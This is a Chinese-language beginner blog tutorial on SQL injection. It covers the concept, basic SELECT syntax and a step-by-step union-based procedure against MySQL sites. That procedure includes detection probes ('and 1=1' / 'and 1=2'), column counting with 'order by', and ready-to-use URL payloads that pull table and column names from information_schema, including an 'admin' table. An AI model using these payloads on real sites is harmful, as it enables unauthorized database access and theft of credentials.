0
点赞
收藏
分享

微信扫一扫

sql注入的原理分析

萍儿的小确幸 2022-03-16 阅读 73

1.知识点一:什么是sql注入?

用户输入的内容被网站当做数据库语句进行执行。关键点:输入的内容 一定要是【数据库语句】。

用户输入的内容: 我们输入的内容。


在一个网站上能够输入的地方:
    1.网站给我们提供的框框(比如搜索框,登陆框····)
    2.网址的参数的值。

过程:我们输入“虎年红包”,回车后,京东网站将我们输入的“虎年红包”,拿到了它的数据库里面进行查询,
并且将查询的结果显示到了网站上。


总结:
漏洞原理:
我们在一个网站上,输入【数据库语句】,如果这个网站执行了,就说明这个网站存在数据库注入漏洞。

2.知识点二:

分类:mysql、access、mssql····
数据库的结构:库、表、行、列—(字段)

    select ··· from ··· where 
        select  翻译:查询
        from  翻译:来自
        where 翻译:条件,当····条件成立的时候

    Eg:select 嫂子是否在家 from 风哥的家  where 风哥不在家 。 (四级英语的翻译题)

    翻译成中文:当风哥不在家条件成立的时候,去风哥的家查询嫂子是否在家。


    阚:当风哥不在家,去风哥家里看看嫂子是否在家
    半城:在风哥不在家的情况下,在风哥的家中看嫂子是是否在家
Navicat 软件,功能:管理数据库。

    


* 代表 所有数据的意思。

3.知识点三:渗透流程

漏洞原理:
我们在一个网站上,输入【数据库语句】,如果这个网站执行了,就说明这个网站存在数据库注入漏洞。

and 并列条件
     1=1 and 2=2 (前后两条件都成立,才算成立。)
    1.判断网站是否存在数据库注入漏洞。
        and 1=1 --> 页面有内容 
        and 1=2 --> 页面没有内容
            ==> 推断出该网站存在数据库注入漏洞。
                原因:我们输入的数据库语句,该网站执行。
    2.判断字段(列)数 ,order by ,作用:排序。
    ps:一个网站存在数据库注入漏洞,意味着我们输入的数据库语句都会执行。
        order by 1 --> 页面有内容 --> 说明网站的表里面有1列。
        order by 2 --> 页面有内容 --> 说明网站的表里面有2列。
        order by 3 --> 页面没有内容 --> 说明网站的表里面没有3列,只有2列。
    ps:当and被网站过滤的时候,可以使用order by 来判断。

    3.判断回显点。union 作用:能够同时执行两条查询语句。关键点:必须保证前后两条查询的语句【列的个数保持一致】。
        回显点:能够将我们输入的数据库语句,执行,并且将执行的结果显示到页面上。
        and 1=2 union select 1,2
    4.查询数据
        version() # 作用:查询版本号。 5.5.53
        database()# 作用:当前数据库库名。   maoshe

查询表名:

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

查询列名:
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

limit m,n # 从第m+1行开始查询n条数据。  limit 2,2

information_schema 库名,mysql自带的。
tables 表的名字,mysql自带的。 information_schema.tables ,库.表 (指定什么库里面的什么表)
columns 表的名字,mysql自带的。
table_schema 列的名字,存储的是网站管理员创建的库名
table_name 列的名字,存储的是网站管理员创建表的名字
column_name  列的名字 ,存储的是网站管理员创建列的名字

举报

相关推荐

0 条评论